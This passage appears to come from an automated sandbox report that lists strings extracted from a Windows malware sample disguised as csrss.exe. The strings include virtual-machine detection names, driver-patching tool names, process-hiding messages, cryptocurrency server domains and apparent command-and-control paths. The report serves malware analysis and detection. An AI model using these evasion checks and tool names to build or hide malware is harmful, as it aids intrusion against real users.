.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exerG
Source: csrss.exe	Binary or memory string: minal_PunctuationTurkey Standard TimeUnprocessable EntityWinmonProcessMonitor[invalid char class]\\.\pipe\VBoxTrayIPCasn1: syntax error: bad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)clo
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: vmsrvc.exevmusrvc.exesmss.exevmsrvc.exevmusrvc.execsrss.exevmsrvc.exevmusrvc.exewininit.exevmsrvc.exevmusrvc.execsrss.exevmsrvc.exevmusrvc.exewinlogon.exevmsrvc.exevmusrvc.exeservices.exevmsrvc.exevmusrvc.exelsass.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exedwm.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exespoolsv.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesihost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exectfmon.exevmsrvc.exevmusrvc.exeexplorer.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exedllhost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exeSearchUI.exesearchui.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exeHxTsr.exehxtsr.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exedllhost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exeWmiPrvSE.exewmiprvse.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exeWmiPrvSE.exewmiprvse.exevmsrvc.exevmusrvc.exeWmiPrvSE.exewmiprvse.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.execonhost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exeUsoClient.exeusoclient.exevmsrvc.exevmusrvc.exesvchost.exevmsrv
Source: csrss.exe	Binary or memory string: licesmallsmokesnowysockssoundsse41sse42ssse3stilltext/tls13tls: totaluint8usageuser=utf-8valuevmusbvmx86voicewaterwhitewispywriteyoung (MB) Value addr= base code= ctxt: curg= goid jobs= list= m->p= next= p->m= prev= span=%s: %s(...) , not , val -BEFV--DYOR-
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad RST markerbad allocCountbad record MACbad span statebad stack sizebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removedexit status -1file too largefinalizer waitgcstoptheworldgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedlookup TXT: %wmemprofilerateneed more datanil elem type!no module datano such deviceparse cert: %wprotocol errorread certs: %wreport_id is 0runtime: base=runtime: full=s.allocCount= semaRoot queueserver.versionstack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytimeEndPeriodtoo many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: csrss.exe, 00000002.00000002.356609846.0000000004000000.00000040.00000001.sdmp	Binary or memory string: 11VBoxSFVT(%d)WINDIRWib
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: vmxnetvmx86sharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.execonhost.exesharedintapp.exesharedintapp.exesharedintapp.exeUsoClient.exeusoclient.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exedllhost.exesharedintapp.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesgrmbroker.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.execsrss.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exe[system process]vmsrvc.exevmusrvc.exeSystemsystemvmsrvc.exevmusrvc.exeRegistryregistry
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: H_T= H_a= H_g= MB, W_a= and h_a= h_g= h_t= max= ptr siz= tab= top= u_a= u_g=%s %q%s%d%s/%s%s:%d%s=%s%v-%v"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, ..., fp:-0930.html.jpeg.wasm.webp156253.2.2500015000250003500045000550006560015600278125:**@:path<nil>AdlamAprilAttr(BamumBatakBuhidCall CountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384P-521PGDSERangeRealmRunicSTermTakriTamilTypeAUUID=\u202allowarraybad nblackbrookchdirclosecloudcsrssdreamemptyfalsefaultfieldfloatfrostgcinggladegrassgreenhttpsimap2imap3imapsint16int32int64matchmistymkdirmonthmuddynightntohspanicpaperparsepgdsepop3sproudquietrangeriverrmdirroughrouterune sdsetshapesleepslicesmallsmokesnowysockssoundsse41sse42ssse3stilltext/tls13tls: totaluint8usageuser=utf-8valuevmusbvmx86voicewaterwhitewispywriteyoung (MB)
Source: csrss.exe	Binary or memory string: verenamerun-v3rune1 sc.binscvg: secondsecureselectsendtoservershadowsilentsocketsocks socks5springstatusstringstructsummersunsetsweep telnetuint16uint32uint64unusedvioletvmhgfsvmxnetvpc-s3winterwup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value>
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: acceptactiveautumnbitterbreezebrokenchan<-cherryclosedcookiedivinedomaindwarf.efenceempty exec: expectfloralflowerforestfrostygopherhangupheaderhiddenip+netkilledlistenlittlelivelymeadowminutenumberobjectpopcntpurplereadatreasonremoverenamerun-v3rune1 sc.binscvg: secondsecureselectsendtoservershadowsilentsocketsocks socks5springstatusstringstructsummersunsetsweep telnetuint16uint32uint64unusedvioletvmhgfsvmxnetvpc-s3winterwup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> dying= flags= len=%d locks= m->g0= nmsys= s=nil
Source: csrss.exe	Binary or memory string: nInUseno resultsnot a boolnot signedowner diedprl_cc.exeres binderres masterresumptionrune <nil>runtime: gschedtracesemacquireset-cookiesetsockoptsocks bindterminatedtracefree(tracegc() unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wwildflowerws2_
Source: csrss.exe	Binary or memory string: rayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC] morebuf={pc:accept-encodingaccept-lang
Source: csrss.exe, 00000002.00000002.361508286.0000000015412000.00000004.00000001.sdmp	Binary or memory string: system[system process]vboxtray.exevboxservice.exeProcess32NextWSystemvboxtray.exevboxservice.exeRegistryregistry$
Source: csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp	Binary or memory string: GPUW8MONBU6CloseHandleS-1-5-18nehalemkvmqemuvirtualpersoconProcess32FirstWcsrss.exevboxtray.exevboxservice.exewinlogon.exevboxtray.exevboxservice.exeservices.exevboxtray.exevboxservice.exelsass.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exedwm.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exespoolsv.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesihost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exectfmon.exevboxtray.exevboxservice.exeexplorer.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exedllhost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exeSearchUI.exesearchui.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exeHxTsr.exehxtsr.exe
Source: csrss.exe	Binary or memory string: main.isRunningInsideVMWare
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: entersyscallexit status found av: %sgcpacertracegetaddrinfowgot TI tokenguid_machinehost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wpointtopointproxyconnectreflect.Copyreleasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: sharedintapp.exesharedintapp.exe[system process]vmsrvc.exe
Source: csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp	Binary or memory string: vboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exedllhost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exeWmiPrvSE.exewmiprvse.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exeWmiPrvSE.exewmiprvse.exevboxtray.exevboxservice.exeWmiPrvSE.exewmiprvse.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.execonhost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exeUsoClient.exeusoclient.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exedllhost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesgrmbroker.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.execsrss.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exeOpenSCManagerWOpenServiceW$
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseFloatPhoenicianProcessingPulseEventRST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieUser-AgentVMSrvc.exeVT_ILLEGALWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8casgstatuscmd is nilcomplex128connectiondnsapi.dlldsefix.exedwarf.Attre.keff.orgexitThreadexp mastergetsockoptgoroutine http_proxyimage/jpegimage/webpinvalidptrkeep-alivemSpanInUseno resultsnot a boolnot signedowner diedprl_cc.exeres binderres masterresumptionrune <nil>runtime: gschedtracesemacquireset-cookiesetsockoptsocks bindterminatedtracefree(tracegc()
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: vmmousevmusb$
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTESTING KEYTTL expiredVBoxServiceVMUSrvc.exeVT_RESERVEDVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exealarm clockapplicationbad addressbad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcompaign_idcreated by crypt32.dlldnsmessage.e2.keff.orgembedded/%sfile existsfinal tokenfloat32nan2float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknamehttps_proxyi/o timeoutlocal errorlost mcachemSpanManualmethodargs(mswsock.dllnext servernil contextorannis.comparse errorprocess: %sraw-controlreflect.Setretry-afterruntime: P runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writetaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion=183wininet.dllwup_process (sensitive) [recovered] allocCount found at *( gcscandone m->gsignal= minTrigger= nDataRoots= nSpanRoots= pages/byte
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> ancientany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scrimsonderivedexpiresfallingfeatherfireflyfloat32float64gctraceglitterhttp://id is 0invalidkdu.exelookup max-agemorningnil keynop -> number panic: patientrefererrefreshrunningserial:server=signal silencesvc_versyscallthundertraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwsarecvwsasendwup_verxen: %wxennet6 data=%q etypes goal
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: vmsrvc.exe
Source: csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp	Binary or memory string: VBoxSF$
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptyemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflatehttp2client=0if-none-matchimage/svg+xmlinvalid UTF-8invalid base kernel32.dllkey expansionlast-modifiedlevel 3 resetload64 failedlogs endpointmaster secretname is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparse URL: %wparsing time powrprof.dllprl_tools.exerebooting nowscvg: inuse: servers countservice statesigner is nilsocks connectsrmount errorstill in listtimer expiredtrailing datatriggerRatio=unimplementedunsupported: user canceledvalue method verifier hashverifier hostvirtualpc: %wxadd64 failedxchg64 failed}
Source: csrss.exe, 00000002.00000002.361508286.0000000015412000.00000004.00000001.sdmp	Binary or memory string: vboxservice.exe
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: (MISSING)(unknown)+infinity, newval=, oldval=-07:00:00-infinity/api/cdn?/api/poll244140625: status=; Domain=Accuracy(AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]atomicor8b.ooze.ccbad indirbillowingbroadcastbus errorbutterflychallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0ecdsa.netempty urlfn.48.orgfodhelperfork/execfuncargs(gdi32.dllimage/gifimage/pnginterfaceinterruptipv6-icmplingeringlocalhostmSpanDeadmSpanFreemulticastnew tokennil errorntdll.dllole32.dllomitemptypanicwaitpatch.exepclmulqdqprecisionprintableprotocol psapi.dllraw-writereboot inrecover: reflect: resonancerwxrwxrwxscheduledsnowflakesparklingsucceededtask %+v
Source: csrss.exe, 00000002.00000002.362742454.00000000154DC000.00000004.00000001.sdmp	Binary or memory string: xensvcxenvdb
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: throbbingunderflowunhandledw3m/0.5.1wanderingwaterfallweatheredwebsocketxenevtchn} stack=[ MB goal, actual
Source: csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.361508286.0000000015412000.00000004.00000001.sdmp	Binary or memory string: vboxtray.exe
Source: csrss.exe	Binary or memory string: tUsage of %s: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: unknown network workbuf is emptywww-authenticate initialHeapLive= spinningthreads=%%!%c(big.Int=%s)0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method ; SameSite=StrictAdjustTokenGroupsCOMPRESSION_ERRORCanSet() is falseCertFindExtensionCreateStdDispatchCryptDecodeObjectDnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5ReadProcessMemoryRegLoadMUIStringWSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenToo Many RequestsTransfer-EncodingUnified_IdeographVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't get pidscouldn't hide PIDcouldn't registercpu name is emptydecryption faileddiscover-electrumelectrumx.soon.itembedded/%s32.sysembedded/%s64.sysenode.duckdns.orgentersyscallblockerbium1.sytes.netexec format errorexec: not startedexponent overflowfile URL is emptyfractional secondgp.waiting != nilhandshake failureif-modified-sinceillegal parameterimpersonation: %win string literalindex > windowEndinteger too largeinvalid bit size invalid stream IDkey align too biglibwww-perl/5.820locked m0 woke upmark - bad statusmarkBits overflowmissing closing )missing closing ]missing extensionnil resource bodyno data availablenotetsleepg on g0permission deniedpseudo-device: %sread revision: %wrecords are emptyreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of runtime.newosprocruntime: a.base= runtime: b.base= runtime: nameOff runtime: next_gc=runtime: pointer runtime: textOff runtime: typeOff scanobject n == 0seek at 0x%0x: %wseeker can't seekselect (no cases)stack: frame={sp:thread exhaustiontransfer-encodingtruncated headersunknown caller pcwait for GC cyclewine_get_version
Source: csrss.exe, 00000002.00000002.361508286.0000000015412000.00000004.00000001.sdmp	Binary or memory string: sharedintapp.exesharedintapp.exesharedintapp.exedllhost.exesharedintapp.exesvchost.exesharedintapp.exeWmiPrvSE.exewmiprvse.exesharedintapp.exesharedintapp.exeWmiPrvSE.exewmiprvse.exesharedintapp.exeWmiPrvSE.exewmiprvse.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exexennet6
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaClass(CommonCookieCopticDELETEExpectFltMgrFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaProgidRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFVT(%d)WINDIRWinMonWinmon[]byte\??\%s\csrss\ufffd
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: vmhgfs$
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: dllhost.exesvchost.exeWmiPrvSE.exewmiprvse.exeWmiPrvSE.exewmiprvse.exeWmiPrvSE.exewmiprvse.exesvchost.exesvchost.exesvchost.execonhost.exeUsoClient.exeusoclient.exesvchost.exesvchost.exedllhost.exesvchost.exesvchost.exesvchost.exesvchost.exesgrmbroker.exesvchost.exesvchost.execsrss.exesvchost.exevmci$
Source: csrss.exe, 00000002.00000002.361508286.0000000015412000.00000004.00000001.sdmp	Binary or memory string: [system process]vboxtray.exe
Source: csrss.exe, 00000000.00000002.331454649.0000000003A12000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllT
Source: csrss.exe	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTESTING KEYTTL expiredVBoxServiceVMUSrvc.exeVT_RESERVEDVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exealarm clockapplicationbad addressbad message
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: systemvmsrvc.exe
Source: csrss.exe	Binary or memory string: ikiPRIORITYParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUgariticVBoxWddmVT_ARRAYVT_BYREFWSAIoctlWinmonFS[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnumacceptexa
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: ><'\'') = ) m=+Inf+inf, n -Inf-inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0.100x%x108020063125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDateEESTEtagFromGOGCGoneHEADHKCCHKLMHostJulyJuneLisuMiaoModiNZDTNZSTNameNewaPINGPOSTQEMUROOTSASTStatThaiUUIDWESTXeon"%s"\rss\smb\u00\wup
